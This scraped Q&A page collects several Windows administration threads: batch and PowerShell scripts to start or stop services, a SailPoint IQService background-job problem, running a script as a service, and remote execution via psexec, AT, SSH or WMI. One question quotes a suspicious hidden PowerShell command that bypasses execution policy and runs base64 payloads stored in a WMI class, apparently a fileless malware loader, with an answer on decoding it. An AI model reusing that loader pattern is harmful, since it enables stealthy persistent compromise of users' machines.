My primary computer for programming is the same computer I use for gaming etc. So to increase speed while gaming I turned off services like Apache, MySQL, Subversion etc. from starting at boot as I use it about 50/50 for gaming/programming.
This is fine most of the time but it's a bit of a nuisance to start them all separately.
Could someone show me how to write a batch file or something similar to start all the services?
Well you can write a batch file like
net start "Service Name"
There should be a way to dependency link the services together also, so when one starts all the others will too. I'll see if I can find the switch to do that.
EDIT:
I haven't tried this, but this should tell you where to find in the registry to make the services dependent on each other and all start automatically:
http://www.softwaretipsandtricks.com/windowsxp/articles/490/1/Removing-Service-Dependencies
You can also have the services start in parallel by calling:
SC START servicename
I don't know if that helps...
I wouldn't mess with the dependencies for services unless you really know what you're doing.
The command for starting a service is "net start <servicename>". Just add the ones you need to a file called Something.bat and run it. simple. :)
net stop <service name> will also stop them.
If you're using powershell, you can do this:
"service1", "service2" | %{ start-service $_ }
To explain the above, it's as follows:
create an array containing "service1" and "service2"
pipe that array to the foreach command (which is the % sign)
the foreach command will run the code block (delimited by { } ), and the "current item" is represented by $_
It will therefore run start-service on each of the things in your array
simply use powershell if you have a common name
Start Services
Get-Service *pattern* | start-service
Stop Services
Get-Service *pattern* | stop-service
I am a tad late on this, though I was researching something similar.
create a batch file and in that batch file use the sc command:
sc start "first servicename"
sc start "second servicename"
and so on...
save the batch file and either double click it to run it, or schedule it to run accordingly.
Like other answers mentioned, writing a batch/cmd file works wonders.
#echo off
echo Press any key to start the Services
echo ===================================
pause
echo Starting Apache
net start Apache
echo Starting MySQL
net start MySQL
echo Starting Subversion
net start Subversion
echo == Services have started ==
timeout 3
exit /b
An easier way:
Install ps tools (it has a lot of really cool cmd line tools for developers)
One of the tools that ps tools comes with is PsService
you can start stop your services using start and stop
Although I'm late to the party , however here is exactly what you need.
ProgramUtilityv1
I was looking for such application too, so i wrote it myself. It works only on Windows and that too on Windows Vista and above.I'll soon release a linux version too.
If you want to start several services at once and still wait for them to start you can do the following:
workflow work {
param(
[Parameter (Mandatory = $true)]
[Collections.Generic.List[string]]$list)
Foreach -parallel ($s in $list)
{
Start-Service $s
}
}
$list = Get-Service -Name "servicename*" -ErrorAction SilentlyContinue | foreach{$_.DisplayName}
work -list $list
With this:
you dont have inmediate return. If you dont care if service-start failed you can go with sc, net start or ps tools options.
Services are started at the same time
Related
So there are several factors in play with this question, so here they are:
SailPoint 8.2 and IQService 8.2
Windows Server 2016
A service Account(Domain Admin)
An interactive User account (Domain admin)
Powershell 5.1 build 14393 revision 4583
So what we have is SailPoint is executing a rule on its end, sending over some information to IQService, and IQService is executing the PowerShell scripts as the service account. In one of the PowerShell scripts, we have the following command:
LogToFile("calling start job")
$j = Start-Job -ScriptBlock { C:/SailPoint/Scripts/PowershellContainerAfterCreateRetry.ps1 -sAMAccountName $args[0] -company $args[1] } -ArgumentList $sAMAccountName, $company -Name 'PowershellContainerAfterCreateRetry'
LogToFile($j | Select-Object -Property *)
LogToFile("finished start-job")
and this is where things get interesting because this command, as you can note, we can log to file to see what its output is, which is as follows:
calling start job
#{
State=Running; HasMoreData=True;
StatusMessage=;
Location=localhost;
Command= C:/SailPoint/Scripts/PowershellContainerAfterCreateRetry.ps1 -sAMAccountName $args[0] -company $args[1] ;
JobStateInfo=Running;
Finished=System.Threading.ManualResetEvent;
InstanceId=aa889c06-7a8a-402e-807a-880d02465bdd; Id=1;
Name=PowershellContainerAfterCreateRetry;
ChildJobs=System.Collections.Generic.List`1[System.Management.Automation.Job];
PSBeginTime=10/15/2021 21:14:22; PSEndTime=;
PSJobTypeName=BackgroundJob;
Output=System.Management.Automation.PSDataCollection`1[System.Management.Automation.PSObject];
Error=System.Management.Automation.PSDataCollection`1[System.Management.Automation.ErrorRecord];
Progress=System.Management.Automation.PSDataCollection`1[System.Management.Automation.ProgressRecord];
Verbose=System.Management.Automation.PSDataCollection`1[System.Management.Automation.VerboseRecord];
Debug=System.Management.Automation.PSDataCollection`1[System.Management.Automation.DebugRecord];
Warning=System.Management.Automation.PSDataCollection`1[System.Management.Automation.WarningRecord];
Information=System.Management.Automation.PSDataCollection`1[System.Management.Automation.InformationRecord]}
finished start-job
When I execute this command either by itself OR within this script using Windows PowerShell ISE, it completes with no issue and calls the script in question, and everything works perfectly! (whether I am using my interactive account OR the service account)
When this script executes using the IQService, something "else" is happening - I say something "else" because I don't have any log files or errors; it just seems to disappear into the ether. (I have a log write out five lines into the PowerShell script, so one would think I would at least get SOMETHING!?!? I am out of ideas...thoughts?
As a minor note, I ran an experiment that showed me that there is something strange about the setup which should have succeeded without issue - like the above it appears to execute (because I can see the same information above, that shows that the job has started). Still, just like the above, it never actually "appears" to complete or error out. The only thing I can think of is that somehow the primary script closing out is causing this to close out as well - but I would think it would be able to get a couple of log files written to if that was the case? Anyway...thanks for reading!
$doit = {
"test" | Out-File -filepath ("c:\test.txt") -append
}
Start-job -ScriptBlock $doit
i think Start-Job is the problem here, as iqservice will launch a powershell script process and that may not support the background job aspect you are trying to use.
if you need to have something retry or wait and loop, you'll need to use another identityiq/iqservice mechanism (a workflow in iiq perhaps that calls down to AD when conditions are, timer is hit, etc.) beyond start-job inside of an iqservice powershell script.
I'm seeing a PowerShell process that keeps starting, and I don't know why.
According to Process Explorer the PowerShell process looks like this:
powershell -NoP -NonI -W Hidden -exec bypass "$am = ([WmiClass] 'root\default:systemcore_Updater8').Properties['am'].Value;$deam=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($am));iex $deam;$co = ([WmiClass] 'root\default:systemcore_Updater8').Properties['enco'].Value;$deco=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($co));iex $deco"
Something that converts from Base 64 string looks fishy to me, but apart from that, I can't decode (ha!) what's going on here.
When I kill the process it restarts at some time (few minutes to half an hour)
I've been unable to find any thing in Task Manager that seems to start the process.
I'm starting to suspect something very fishy.
Any suggestions?
Not an answer but it doesn't fit in comments:
You can execute following commands to show you what the script is invoking (iex)
$am = ([WmiClass] 'root\default:systemcore_Updater8').Properties['am'].Value;
$deam=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($am));
Write-Output $deam
$co = ([WmiClass] 'root\default:systemcore_Updater8').Properties['enco'].Value;
$deco=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($co));
Write-Output $deam
I have powershell script. I need to run it as a service. I try this way to make it as a service.
Start-Process -FilePath C:\Users\xx\Downloads\nssm-2.24\win32\nssm.exe -ArgumentList 'install AgentService "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-command "& { . D:\SERVICE\Script.ps1}"" ' -NoNewWindow
Then I open run.exe and type services.msc. The service exist. And I try to start it. It show like this picture.
But I see the powershell script is not running. Because in my powershell script I use infinity loop to do some process, like copy and rename file. But It does not work.
Anyone can give me idea plese. Thank you.
A ordinary EXE executable, by default, is not ready to be run as a Windows Service.
A service process needs to register with the Service Control Manager on startup and listen for commands from the SCM. All the details you need are here:
C++: https://learn.microsoft.com/en-us/windows/win32/services/services
C# and .NET: https://learn.microsoft.com/en-us/dotnet/framework/windows-services/
However, if it helps, there are pre-built services that will launch and manage the process lifetime of any ordinary EXE. Google for run any windows exe as a service. One that I've personally used before is SrvStart.
I'm trying to figure out how to create a batch file by searching a text on Description of the Process then killing it. I managed to find one on this stackoverflow. But how do I loop this search before killing it?
This is the batch file I made
:loop
powershell -command "(get-process | ? {$_.Description -like 'Internet*'} if $_.Description -ne "Internet*" ( GOTO LOOP) ELSE (get-process | ? {$_.Description -like 'Internet*'}).kill())"
Well I'm just trying to experiment it but it's not working. I have a super little knowledge about Powershell.
FYI: I'm doing this because I own a Computer shop and there are some people who are trying to use the Internet Download Manager Portable to download big files, I tried limiting the bandwidth of the idman.exe using NetLimiter, but they are just renaming the file to let say 1.exe or 2.exe etc., so that's why I will try using the task scheduler and run this batch file in the background.
I'm not sure killing the process would be a good solution in your case, but if you trying to kill a process with a specific description, you can simply pipe the process to Stop-Process.
Get-Process | where {$_.Description -like "Internet*"} | Stop-Process
I would like to have a Windows 2003 server fire a script to fire another script in a separate Windows Server 2008 computer.
I have been told that Powershell can do that, and that's fine, but I need more specific details.
Does anyone have any tips for this?
Thanks!
psexec from SysInternals
Look into the syntax for the AT command. You can use it to schedule a process to run on a remote machine.
The AT command schedules commands and programs to run on a computer at
a specified time and date. The Schedule service must be running to use
the AT command.
AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"
\\computername Specifies a remote computer. Commands are scheduled on the
local computer if this parameter is omitted.
id Is an identification number assigned to a scheduled
command.
/delete Cancels a scheduled command. If id is omitted, all the
scheduled commands on the computer are canceled.
/yes Used with cancel all jobs command when no further
confirmation is desired.
time Specifies the time when command is to run.
/interactive Allows the job to interact with the desktop of the user
who is logged on at the time the job runs.
/every:date[,...] Runs the command on each specified day(s) of the week or
month. If date is omitted, the current day of the month
is assumed.
/next:date[,...] Runs the specified command on the next occurrence of the
day (for example, next Thursday). If date is omitted, the
current day of the month is assumed.
"command" Is the Windows NT command, or batch program to be run.
easiest way that is use will be in two steps
a. installing cygwin to remote pc
b. run ssh hudson#mcs '/cygdrive/c/path_to_script.bat'
Speaking about PsExec, I would strongly suggest to use Cygwin/OpenSSH instead.
SSH has multiple advantages (over tools like PsExec or even custom-made services).
For example, try to use with PsExec and implement what these bash / ssh command lines do:
ssh user#remotehost "find . -name something" 2> all.errors.txt
ssh user#remotehost "grep -r something ."
if [ "$?" == "0" ]
then
echo "FOUND"
else
echo "NOT FOUND"
fi
Good Luck!
SSH transfers (!) remote stdout / stderr / exit status to local shell for inspection
(killer feature and common requirement to integrate remote execution into logic of local scripts)
Cygwin/OpenSSH provides standard POSIX shell environment
(efficient time investment, fundamental tools, cross-platform ready, compatible habits, etc.)
You can still/always run all native Windows application
(including automatic execution of *.bat files by cmd processor)
You can configure password-less auth using public keys
(think about unattended automated tasks)
Tip
There was one requirement I had problems with initially:
background sshd service had to execute apps in user's graphical session
(to make application window appear in desktop environment).
The acceptable solution for me was running sshd service directly in user's GUI session
(start automatically when user logs in, follow the link to see configuration file changes):
/usr/sbin/sshd -f /home/user/sshd_config
The accepted solution from http://www.experts-exchange.com/OS/Microsoft_Operating_Systems/Q_22959948.html is:
What I provide was a script that takes
parameters... In this case it takes 4.
1) Server: if you pass -server it will
only do that one server 2) List: You
can provide a list file of servers.
3) Service: Name of the service you
want to modify 4) Verbose: is not
used here.
I did have some mistakes that I
changed in the following code. To use
cut/paste the code into a file called
Set-RemoteService.ps1. Make sure to
set your executionpolicy to run
scripts... it will not by default. You
do that by using the
set-executionpolicy cmdlet. PS>
Set-Executionpolicy "RemoteSigned" to
run the script you do PS>
C:\PathToScript\Set-RemoteService.ps1
-list c:\ServerList.txt -service "DHCP"
######################### Param($server,$list,$service,[switch]$verbose)
if($Verbose){$VerbosePreference =
"Continue"} if($list) {
foreach($srv in (get-content $list))
{
$query = "Select * from Win32_Service where Name='$service'"
$myService = get-WmiObject -query $query -computer $srv
$myService.ChangeStartMode("Automatic")
$myService.Start()
} } if($server) {
$query = "Select * from Win32_Service where Name='$service'"
$myService = get-WmiObject -query $query -computer $server
$myService.ChangeStartMode("Automatic")
$myService.Start() }